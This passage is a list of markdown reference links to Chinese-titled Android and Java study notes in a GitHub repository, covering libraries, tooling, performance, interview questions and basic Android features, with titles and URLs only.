https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/ImageLoaderLibrary/Glide%E7%AE%80%E4%BB%8B(%E4%B8%8B).md   \"Glide简介(下)\"\n[27]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/ImageLoaderLibrary/%E5%9B%BE%E7%89%87%E5%8A%A0%E8%BD%BD%E5%BA%93%E6%AF%94%E8%BE%83.md   \"图片加载库比较\"\n[28]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/RxJavaPart/1.RxJava%E8%AF%A6%E8%A7%A3(%E4%B8%80).md   \"RxJava详解(一)\"\n[29]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/RxJavaPart/2.RxJava%E8%AF%A6%E8%A7%A3(%E4%BA%8C).md   \"RxJava详解(二)\"\n[30]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/RxJavaPart/3.RxJava%E8%AF%A6%E8%A7%A3(%E4%B8%89).md   \"RxJava详解(三)\"\n[31]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/RxJavaPart/7.RxJava%E7%B3%BB%E5%88%97%E5%85%A8%E5%AE%B6%E6%A1%B6.md   \"RxJava系列全家桶\"\n[32]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Tools%26Library/%E7%9B%AE%E5%89%8D%E6%B5%81%E8%A1%8C%E7%9A%84%E5%BC%80%E5%8F%91%E7%BB%84%E5%90%88.md   \"目前流行的开发组合\"\n[33]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Tools%26Library/%E6%80%A7%E8%83%BD%E4%BC%98%E5%8C%96%E7%9B%B8%E5%85%B3%E5%B7%A5%E5%85%B7.md   \"性能优化相关工具\"\n[34]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Tools%26Library/Android%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7%E5%8F%8A%E7%B1%BB%E5%BA%93.md   \"Android开发工具及类库\"\n[35]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Tools%26Library/Github%E4%B8%AA%E4%BA%BA%E4%B8%BB%E9%A1%B5%E7%BB%91%E5%AE%9A%E5%9F%9F%E5%90%8D.md   \"Github个人主页绑定域名\"\n[36]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Tools%26Library/Markdown%E5%AD%A6%E4%B9%A0%E6%89%8B%E5%86%8C.md   \"Markdown学习手册\"\n[37]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Tools%26Library/MAT%E5%86%85%E5%AD%98%E5%88%86%E6%9E%90.md   \"MAT内存分析\"\n[38]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/KotlinCourse/Kotlin%E5%AD%A6%E4%B9%A0%E6%95%99%E7%A8%8B(%E4%B8%80).md   \"Kotlin学习教程(一)(未完)\"\n[39]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Gradle%26Maven/Gradle%E4%B8%93%E9%A2%98.md   \"Gradle专题\"\n[40]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/Gradle%26Maven/%E5%8F%91%E5%B8%83library%E5%88%B0Maven%E4%BB%93%E5%BA%93.md   \"发布library到Maven仓库\"\n[41]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AppPublish/Android%E5%BA%94%E7%94%A8%E5%8F%91%E5%B8%83.md   \"Android应用发布\"\n[42]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AppPublish/Zipalign%E4%BC%98%E5%8C%96.md   \"Zipalign优化\"\n[43]: https://github.com/pengMaster/BestNote/tree/master/docs/android/AndroidNote//SourceAnalysis   \"源码解析\"\n[44]: https://github.com/pengMaster/BestNote/tree/master/docs/android/AndroidNote//VideoDevelopment   \"音视频开发\"\n[45]: https://github.com/pengMaster/BestNote/tree/master/docs/android/AndroidNote//ImageLoaderLibrary   \"图片加载\"\n[46]: https://github.com/pengMaster/BestNote/tree/master/docs/android/AndroidNote//RxJavaPart   \"RxJava\"\n[47]: https://github.com/pengMaster/BestNote/tree/master/docs/android/AndroidNote//Tools%26Library   \"开发工具\"\n[48]: https://github.com/pengMaster/BestNote/tree/master/docs/android/AndroidNote//KotlinCourse   \"Kotlin学习\"\n[49]: https://github.com/pengMaster/BestNote/tree/master/docs/android/AndroidNote//Gradle%26Maven   \"Gradle&Maven\"\n[50]: https://github.com/pengMaster/BestNote/tree/master/docs/android/AndroidNote//AppPublish   \"应用发布\"\n[51]: https://github.com/pengMaster/BestNote/tree/master/docs/android/AndroidNote//AndroidStudioCourse   \"Android Studio使用教程\"\n[52]: https://github.com/pengMaster/BestNote/tree/master/docs/android/AndroidNote//AdavancedPart   \"进阶部分\"\n[53]: https://github.com/pengMaster/BestNote/tree/master/docs/android/AndroidNote//JavaKnowledge   \"Java基础及算法\"\n[54]: https://github.com/pengMaster/BestNote/tree/master/docs/android/AndroidNote//BasicKnowledge   \"基础部分\"\n[55]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AndroidStudioCourse/AndroidStudio%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B(%E7%AC%AC%E4%B8%80%E5%BC%B9).md   \"AndroidStudio使用教程(第一弹)\"\n[56]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AndroidStudioCourse/AndroidStudio%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B(%E7%AC%AC%E4%BA%8C%E5%BC%B9).md   \"AndroidStudio使用教程(第二弹)\"\n[57]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AndroidStudioCourse/AndroidStudio%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B(%E7%AC%AC%E4%B8%89%E5%BC%B9).md   \"AndroidStudio使用教程(第三弹)\"\n[58]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AndroidStudioCourse/AndroidStudio%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B(%E7%AC%AC%E5%9B%9B%E5%BC%B9).md   \"AndroidStudio使用教程(第四弹)\"\n[59]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AndroidStudioCourse/AndroidStudio%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B(%E7%AC%AC%E4%BA%94%E5%BC%B9).md   \"AndroidStudio使用教程(第五弹)\"\n[60]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AndroidStudioCourse/AndroidStudio%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B(%E7%AC%AC%E5%85%AD%E5%BC%B9).md   \"AndroidStudio使用教程(第六弹)\"\n[61]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AndroidStudioCourse/AndroidStudio%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B(%E7%AC%AC%E4%B8%83%E5%BC%B9).md   \"AndroidStudio使用教程(第七弹)\"\n[62]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AndroidStudioCourse/Android%20Studio%E4%BD%A0%E5%8F%AF%E8%83%BD%E4%B8%8D%E7%9F%A5%E9%81%93%E7%9A%84%E6%93%8D%E4%BD%9C.md   \"Android Studio你可能不知道的操作\"\n[63]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AndroidStudioCourse/AndroidStudio%E6%8F%90%E9%AB%98Build%E9%80%9F%E5%BA%A6.md   \"AndroidStudio提高Build速度\"\n[64]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AndroidStudioCourse/AndroidStudio%E4%B8%AD%E8%BF%9B%E8%A1%8Cndk%E5%BC%80%E5%8F%91.md   \"AndroidStudio中进行ndk开发\"\n[65]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/%E5%B8%83%E5%B1%80%E4%BC%98%E5%8C%96.md   \"布局优化\"\n[66]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/%E5%B1%8F%E5%B9%95%E9%80%82%E9%85%8D%E4%B9%8B%E7%99%BE%E5%88%86%E6%AF%94%E6%96%B9%E6%A1%88%E8%AF%A6%E8%A7%A3.md   \"屏幕适配之百分比方案详解\"\n[67]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/%E7%83%AD%E4%BF%AE%E5%A4%8D%E5%AE%9E%E7%8E%B0.md   \"热修复实现\"\n[68]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/%E5%A6%82%E4%BD%95%E8%AE%A9Service%E5%B8%B8%E9%A9%BB%E5%86%85%E5%AD%98.md   \"如何让Service常驻内存\"\n[69]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/%E9%80%9A%E8%BF%87Hardware%20Layer%E6%8F%90%E9%AB%98%E5%8A%A8%E7%94%BB%E6%80%A7%E8%83%BD.md   \"通过Hardware Layer提高动画性能\"\n[70]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/%E6%80%A7%E8%83%BD%E4%BC%98%E5%8C%96.md   \"性能优化\"\n[71]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/%E6%B3%A8%E8%A7%A3%E4%BD%BF%E7%94%A8.md   \"注解使用\"\n[72]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/Android6.0%E6%9D%83%E9%99%90%E7%B3%BB%E7%BB%9F.md   \"Android6.0权限系统\"\n[73]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/Android%E5%BC%80%E5%8F%91%E4%B8%8D%E7%94%B3%E8%AF%B7%E6%9D%83%E9%99%90%E6%9D%A5%E4%BD%BF%E7%94%A8%E5%AF%B9%E5%BA%94%E5%8A%9F%E8%83%BD.md   \"Android开发不申请权限来使用对应功能\"\n[74]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/Android%E5%BC%80%E5%8F%91%E4%B8%AD%E7%9A%84MVP%E6%A8%A1%E5%BC%8F%E8%AF%A6%E8%A7%A3.md   \"Android开发中的MVP模式详解\"\n[75]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/Android%E5%90%AF%E5%8A%A8%E6%A8%A1%E5%BC%8F%E8%AF%A6%E8%A7%A3.md   \"Android启动模式详解\"\n[76]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/Android%E5%8D%B8%E8%BD%BD%E5%8F%8D%E9%A6%88.md   \"Android卸载反馈\"\n[77]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/ApplicationId%20vs%20PackageName.md   \"ApplicationId vs PackageName\"\n[78]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/ART%E4%B8%8EDalvik.md   \"ART与Dalvik\"\n[79]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/BroadcastReceiver%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98.md   \"BroadcastReceiver安全问题\"\n[80]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/Handler%E5%AF%BC%E8%87%B4%E5%86%85%E5%AD%98%E6%B3%84%E9%9C%B2%E5%88%86%E6%9E%90.md   \"Handler导致内存泄露分析\"\n[81]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/Library%E9%A1%B9%E7%9B%AE%E4%B8%AD%E8%B5%84%E6%BA%90id%E4%BD%BF%E7%94%A8case%E6%97%B6%E6%8A%A5%E9%94%99.md   \"Library项目中资源id使用case时报错\"\n[82]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/Mac%E4%B8%8B%E9%85%8D%E7%BD%AEadb%E5%8F%8AAndroid%E5%91%BD%E4%BB%A4.md   \"Mac下配置adb及Android命令\"\n[83]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/MaterialDesign%E4%BD%BF%E7%94%A8.md   \"MaterialDesign使用\"\n[84]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/AdavancedPart/RecyclerView%E4%B8%93%E9%A2%98.md   \"RecyclerView专题\"\n[85]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%A4%A7%E5%85%A8.md   \"常用命令行大全\"\n[86]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E5%8D%95%E4%BE%8B%E7%9A%84%E6%9C%80%E4%BD%B3%E5%AE%9E%E7%8E%B0%E6%96%B9%E5%BC%8F.md   \"单例的最佳实现方式\"\n[87]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84.md   \"数据结构\"\n[88]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E8%8E%B7%E5%8F%96%E4%BB%8A%E5%90%8E%E5%A4%9A%E5%B0%91%E5%A4%A9%E5%90%8E%E7%9A%84%E6%97%A5%E6%9C%9F.md   \"获取今后多少天后的日期\"\n[89]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E5%89%91%E6%8C%87Offer(%E4%B8%8A).md   \"剑指Offer(上)\"\n[90]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/剑指Offer(下).md   \"剑指Offer(下)\"\n[91]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E5%BC%BA%E5%BC%95%E7%94%A8%E3%80%81%E8%BD%AF%E5%BC%95%E7%94%A8%E3%80%81%E5%BC%B1%E5%BC%95%E7%94%A8%E3%80%81%E8%99%9A%E5%BC%95%E7%94%A8.md   \"强引用、软引用、弱引用、虚引用\"\n[92]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E7%94%9F%E4%BA%A7%E8%80%85%E6%B6%88%E8%B4%B9%E8%80%85.md   \"生产者消费者\"\n[93]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E6%95%B0%E6%8D%AE%E5%8A%A0%E5%AF%86%E5%8F%8A%E8%A7%A3%E5%AF%86.md   \"数据加密及解密\"\n[94]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E6%AD%BB%E9%94%81.md   \"死锁\"\n[95]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E5%B8%B8%E8%A7%81%E7%AE%97%E6%B3%95.md   \"算法\"\n[96]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E7%BD%91%E7%BB%9C%E8%AF%B7%E6%B1%82%E7%9B%B8%E5%85%B3%E5%86%85%E5%AE%B9%E6%80%BB%E7%BB%93.md   \"网络请求相关内容总结\"\n[97]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E7%BA%BF%E7%A8%8B%E6%B1%A0%E7%9A%84%E5%8E%9F%E7%90%86.md   \"线程池的原理\"\n[98]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/%E5%8E%9F%E5%AD%90%E6%80%A7%E3%80%81%E5%8F%AF%E8%A7%81%E6%80%A7%E4%BB%A5%E5%8F%8A%E6%9C%89%E5%BA%8F%E6%80%A7.md   \"原子性、可见性以及有序性\"\n[99]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/Base64%E5%8A%A0%E5%AF%86.md   \"Base64加密\"\n[100]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/Git%E7%AE%80%E4%BB%8B.md   \"Git简介\"\n[101]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/hashCode%E4%B8%8Eequals.md   \"hashCode与equals\"\n[102]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/HashMap%E5%AE%9E%E7%8E%B0%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90.md   \"HashMap实现原理分析\"\n[103]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/Java%E5%9F%BA%E7%A1%80%E9%9D%A2%E8%AF%95%E9%A2%98.md   \"Java基础面试题\"\n[104]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/JVM%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E6%9C%BA%E5%88%B6.md   \"JVM垃圾回收机制\"\n[105]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/MD5%E5%8A%A0%E5%AF%86.md   \"MD5加密\"\n[106]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/MVC%E4%B8%8EMVP%E5%8F%8AMVVM.md   \"MVC与MVP及MVVM\"\n[107]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/RMB%E5%A4%A7%E5%B0%8F%E5%86%99%E8%BD%AC%E6%8D%A2.md   \"RMB大小写转换\"\n[108]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/Vim%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B.md   \"Vim使用教程\"\n[109]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/JavaKnowledge/volatile%E5%92%8CSynchronized%E5%8C%BA%E5%88%AB.md   \"volatile和Synchronized区别\"\n[110]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E5%AE%89%E5%85%A8%E9%80%80%E5%87%BA%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F.md   \"安全退出应用程序\"\n[111]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E7%97%85%E6%AF%92.md   \"病毒\"\n[112]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E8%B6%85%E7%BA%A7%E7%AE%A1%E7%90%86%E5%91%98(DevicePoliceManager).md   \"超级管理员(DevicePoliceManager)\"\n[113]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E7%A8%8B%E5%BA%8F%E7%9A%84%E5%90%AF%E5%8A%A8%E3%80%81%E5%8D%B8%E8%BD%BD%E5%92%8C%E5%88%86%E4%BA%AB.md   \"程序的启动、卸载和分享\"\n[114]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E4%BB%A3%E7%A0%81%E6%B7%B7%E6%B7%86.md   \"代码混淆\"\n[115]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E8%AF%BB%E5%8F%96%E7%94%A8%E6%88%B7logcat%E6%97%A5%E5%BF%97.md   \"读取用户logcat日志\"\n[116]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E7%9F%AD%E4%BF%A1%E5%B9%BF%E6%92%AD%E6%8E%A5%E6%94%B6%E8%80%85.md   \"短信广播接收者\"\n[117]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E5%A4%9A%E7%BA%BF%E7%A8%8B%E6%96%AD%E7%82%B9%E4%B8%8B%E8%BD%BD.md   \"多线程断点下载\"\n[118]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E9%BB%91%E5%90%8D%E5%8D%95%E6%8C%82%E6%96%AD%E7%94%B5%E8%AF%9D%E5%8F%8A%E5%88%A0%E9%99%A4%E7%94%B5%E8%AF%9D%E8%AE%B0%E5%BD%95.md   \"黑名单挂断电话及删除电话记录\"\n[119]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E6%A8%AA%E5%90%91ListView.md   \"横向ListView\"\n[120]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E6%BB%91%E5%8A%A8%E5%88%87%E6%8D%A2Activity(GestureDetector).md   \"滑动切换Activity(GestureDetector)\"\n[121]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E8%8E%B7%E5%8F%96%E8%81%94%E7%B3%BB%E4%BA%BA.md   \"获取联系人\"\n[122]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E8%8E%B7%E5%8F%96%E6%89%8B%E6%9C%BA%E5%8F%8ASD%E5%8D%A1%E5%8F%AF%E7%94%A8%E5%AD%98%E5%82%A8%E7%A9%BA%E9%97%B4.md   \"获取手机及SD卡可用存储空间\"\n[123]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E8%8E%B7%E5%8F%96%E6%89%8B%E6%9C%BA%E4%B8%AD%E6%89%80%E6%9C%89%E5%AE%89%E8%A3%85%E7%9A%84%E7%A8%8B%E5%BA%8F.md   \"获取手机中所有安装的程序\"\n[124]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E8%8E%B7%E5%8F%96%E4%BD%8D%E7%BD%AE(LocationManager).md   \"获取位置(LocationManager)\"\n[125]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E8%8E%B7%E5%8F%96%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F%E7%BC%93%E5%AD%98%E5%8F%8A%E4%B8%80%E9%94%AE%E6%B8%85%E7%90%86.md   \"获取应用程序缓存及一键清理\"\n[126]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E5%BC%80%E5%8F%91%E4%B8%AD%E5%BC%82%E5%B8%B8%E7%9A%84%E5%A4%84%E7%90%86.md   \"开发中异常的处理\"\n[127]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E5%BC%80%E5%8F%91%E4%B8%ADLog%E7%9A%84%E7%AE%A1%E7%90%86.md   \"开发中Log的管理\"\n[128]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E5%BF%AB%E6%8D%B7%E6%96%B9%E5%BC%8F%E5%B7%A5%E5%85%B7%E7%B1%BB.md   \"快捷方式工具类\"\n[129]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E6%9D%A5%E7%94%B5%E5%8F%B7%E7%A0%81%E5%BD%92%E5%B1%9E%E5%9C%B0%E6%8F%90%E7%A4%BA%E6%A1%86.md   \"来电号码归属地提示框\"\n[130]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E6%9D%A5%E7%94%B5%E7%9B%91%E5%90%AC%E5%8F%8A%E5%BD%95%E9%9F%B3.md   \"来电监听及录音\"\n[131]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E9%9B%B6%E6%9D%83%E9%99%90%E4%B8%8A%E4%BC%A0%E6%95%B0%E6%8D%AE.md   \"零权限上传数据\"\n[132]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E5%86%85%E5%AD%98%E6%B3%84%E6%BC%8F.md   \"内存泄漏\"\n[133]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E5%B1%8F%E5%B9%95%E9%80%82%E9%85%8D.md   \"屏幕适配\"\n[134]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E4%BB%BB%E5%8A%A1%E7%AE%A1%E7%90%86%E5%99%A8(ActivityManager).md   \"任务管理器(ActivityManager)\"\n[135]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E6%89%8B%E6%9C%BA%E6%91%87%E6%99%83.md   \"手机摇晃\"\n[136]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E7%AB%96%E7%9D%80%E7%9A%84Seekbar.md   \"竖着的Seekbar\"\n[137]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E6%95%B0%E6%8D%AE%E5%AD%98%E5%82%A8.md   \"数据存储\"\n[138]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E6%90%9C%E7%B4%A2%E6%A1%86.md   \"搜索框\"\n[139]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E9%94%81%E5%B1%8F%E4%BB%A5%E5%8F%8A%E8%A7%A3%E9%94%81%E7%9B%91%E5%90%AC.md   \"锁屏以及解锁监听\"\n[140]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0.md   \"文件上传\"\n[141]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E4%B8%8B%E6%8B%89%E5%88%B7%E6%96%B0ListView.md   \"下拉刷新ListView\"\n[142]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E4%BF%AE%E6%94%B9%E7%B3%BB%E7%BB%9F%E7%BB%84%E4%BB%B6%E6%A0%B7%E5%BC%8F.md   \"修改系统组件样式\"\n[143]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E9%9F%B3%E9%87%8F%E5%8F%8A%E5%B1%8F%E5%B9%95%E4%BA%AE%E5%BA%A6%E8%B0%83%E8%8A%82.md   \"音量及屏幕亮度调节\"\n[144]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E5%BA%94%E7%94%A8%E5%AE%89%E8%A3%85.md   \"应用安装\"\n[145]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E5%BA%94%E7%94%A8%E5%90%8E%E5%8F%B0%E5%94%A4%E9%86%92%E5%90%8E%E6%95%B0%E6%8D%AE%E7%9A%84%E5%88%B7%E6%96%B0.md   \"应用后台唤醒后数据的刷新\"\n[146]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E7%9F%A5%E8%AF%86%E5%A4%A7%E6%9D%82%E7%83%A9.md   \"知识大杂烩\"\n[147]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E8%B5%84%E6%BA%90%E6%96%87%E4%BB%B6%E6%8B%B7%E8%B4%9D%E7%9A%84%E4%B8%89%E7%A7%8D%E6%96%B9%E5%BC%8F.md   \"资源文件拷贝的三种方式\"\n[148]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E8%87%AA%E5%AE%9A%E4%B9%89%E8%83%8C%E6%99%AF.md   \"自定义背景\"\n[149]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E8%87%AA%E5%AE%9A%E4%B9%89%E6%8E%A7%E4%BB%B6.md   \"自定义控件\"\n[150]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E8%87%AA%E5%AE%9A%E4%B9%89%E7%8A%B6%E6%80%81%E6%A0%8F%E9%80%9A%E7%9F%A5.md   \"自定义状态栏通知\"\n[151]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/%E8%87%AA%E5%AE%9A%E4%B9%89Toast.md   \"自定义Toast\"\n[152]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/adb%20logcat%E4%BD%BF%E7%94%A8%E7%AE%80%E4%BB%8B.md   \"adb logcat使用简介\"\n[153]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Android%E7%BC%96%E7%A0%81%E8%A7%84%E8%8C%83.md   \"Android编码规范\"\n[154]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Android%E5%8A%A8%E7%94%BB.md   \"Android动画\"\n[155]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Android%E5%9F%BA%E7%A1%80%E9%9D%A2%E8%AF%95%E9%A2%98.md   \"Android基础面试题\"\n[156]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Android%E5%85%A5%E9%97%A8%E4%BB%8B%E7%BB%8D.md   \"Android入门介绍\"\n[157]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Android%E5%9B%9B%E5%A4%A7%E7%BB%84%E4%BB%B6%E4%B9%8BContentProvider.md   \"Android四大组件之ContentProvider\"\n[158]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Android%E5%9B%9B%E5%A4%A7%E7%BB%84%E4%BB%B6%E4%B9%8BService.md   \"Android四大组件之Service\"\n[159]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Ant%E6%89%93%E5%8C%85.md   \"Ant打包\"\n[160]: https://github.com/pengMaster/BestNote/blob/master/docs/android/AndroidNote/BasicKnowledge/Bitmap%E4%BC%98%E5%8C%96.md   \"Bitmap优化\"\n[161]: 